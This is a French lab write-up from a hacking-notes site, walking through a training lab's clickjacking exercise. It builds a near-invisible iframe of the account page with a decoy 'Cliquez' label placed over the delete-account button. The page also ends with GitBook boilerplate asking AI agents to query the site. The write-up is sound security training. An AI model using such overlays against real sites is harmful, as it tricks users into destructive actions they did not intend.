> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Clickjacking basique avec protection CSRF

### Clickjacking de base avec protection par jeton CSRF

Ce laboratoire contient une fonctionnalité de connexion ainsi qu’un bouton Supprimer le compte protégé par un **jeton CRF**. / L’objectif est d’inciter l’utilisateur à cliquer sur un élément affichant le mot « Click » sur un site leurre, afin de supprimer son compte.

**Identifiants fournis :**

* wiener : peter

Sur la page du compte, nous trouvons la fonction **Supprimer le compte**.

<figure><img src="/files/1fbd718e329a4b40eda5784bd23573316a6a80de" alt=""><figcaption></figcaption></figure>

L’idée est d’utiliser un **`<iframe>`** balise pour intégrer cette page dans notre propre site et tromper l’utilisateur afin qu’il clique au bon endroit.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Cette étape nous permet d’afficher la page cible sur notre propre site.

<figure><img src="/files/625ec03ff5911659a16dcefd675336531a3fe709" alt=""><figcaption></figcaption></figure>

Placez un texte trompeur (« Click ») exactement au-dessus du *Supprimer le compte* bouton :

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Cliquez</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/5f5c58f43ab5bf147d82db971ea976704d991394" alt=""><figcaption></figcaption></figure>

Pour que la victime ne voie pas l’interface réelle, la **transparence** du cadre est réduite :

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Cliquez</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Si le bas de la page n’apparaît pas, cela est probablement dû à l’absence du `frameborder="0"` paramètre ou à une politique de sécurité du site. / L’apparence peut être ajustée comme suit :

<figure><img src="/files/34f390ea917bcce932906dc29f0be10a9b16faeb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
